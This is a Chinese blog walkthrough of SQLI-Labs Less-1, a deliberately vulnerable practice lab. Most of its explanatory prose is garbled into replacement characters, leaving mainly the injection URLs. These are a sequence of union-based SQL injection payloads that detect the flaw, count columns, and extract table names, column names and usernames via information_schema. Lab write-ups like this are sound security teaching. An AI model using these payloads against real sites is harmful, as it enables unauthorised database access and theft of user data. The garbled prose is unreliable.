首页 博客列表 精选博客 每日焦点 关于我
【SQLI-Lab】-Less1
发布日期：2021-05-11 01:40:19 浏览次数：15 分类：精选文章

本文共 1983 字，大约阅读时间需要 6 分钟。

���������������������������GET���������������������������

������������GET���������������

GET������������������������������URL������������������SQL������������������������������������������������������������������������������������������������������������������������������payload������������������������

������������������

  • ���������������������������������������������id������������������http://192.168.135.149/sqli/Less-1/?id=1'���URL������������������������������
  • ������������������������������������������������SQL���������������������������������������������������������

    • ������������������������

  • ���������������

    • ������������������������http://192.168.135.149/sqli/Less-1/?id=1'
    • ������������������������������http://192.168.135.149/sqli/Less-1/?id=1' and 1=1 -- 1

  • ���������������

    • ������group by 3���������http://192.168.135.149/sqli/Less-1/?id=1' group by 3 -- 1

  • ������������������������

    • ������������http://192.168.135.149/sqli/Less-1/?id=-1' union select 1,database(),3 -- 1
    • ������������http://192.168.135.149/sqli/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3 -- 1

  • ���������������

    • http://192.168.135.149/sqli/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="users"),3 --

  • ���������������

    • ���username���http://192.168.135.149/sqli/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),3 -- 1

    • ���������������������

  • ������������������������������������������������������������������������������', '',), '',"),������������������������������������
  • ���������������������������������������������payload������������������������������������������������
  • ���������������������������������payload������������������������������������������������������������������������

    • ���������������������������������������������GET���������������������������������������������������������������payload������������������������������

    上一篇：【SQLI-Lab】-Less2
    下一篇：【SQLI-Lab】靶场搭建

    发表评论

    最新留言

    很好
    [***.229.124.182]2025年04月21日 18时55分17秒

    关于作者

        喝酒易醉，品茶养心，人生如梦，品茶悟道，何以解忧？唯有杜康！
    -- 愿君每日到此一游！

    推荐文章

    第007课 裸机开发步骤和工具使用(SourceInght NotePad++使用) 2021-05-10
    STL使用——map/multimap容器 2021-05-10
    OpenCV-未定义符号：hb_font_funcs_set_variation_glyph_func 2021-05-10
    android 开机启动流程分析（13）Zygote的分裂 2021-05-10
    简单理解vuex原理 2021-05-10
    ES6之函数的扩展 2021-05-10
    发布订阅模式与观察者模式 2021-05-10
    java.lang.NoSuchMethodError 错误的原因及解决方法 2021-05-10
    马王堆出土道德经原文（非删改本） 2021-05-10
    java从入门到精通----servlet11 2021-05-10
    MySQL复习09-触发器 2021-05-10
    JS实现禁止浏览器后退返回上一页 2021-05-10
    redis ③ -java客户端连接redis 2021-05-10
    torch.meshgrid（）函数解析 2021-05-10
    java获取的NTLM电脑用户名并解码（python解码） 2021-05-10
    Vue 中 hash 模式和 history 模式的区别 2021-05-10
    运行 Webpack 项目图片和favicon.ico找不到， 图片404错误 2021-05-10
    TiDB 单机安装测试集群(Docker Compose) 2021-05-10
    Python：条件判断语句类型介绍及场景应用 2021-05-10
    Python：Mac Pro让终端默认运行python3.x 2021-05-10
    白红宇的个人博客 - 记录点点滴滴的事 - 您是第 460895723 位访客
    访问时间: 2025-04-30 11:00:05 访问IP: 18.189.143.114     Copyright © 2020 - 2025 css8.cn 京ICP备2021015314号-1 手机版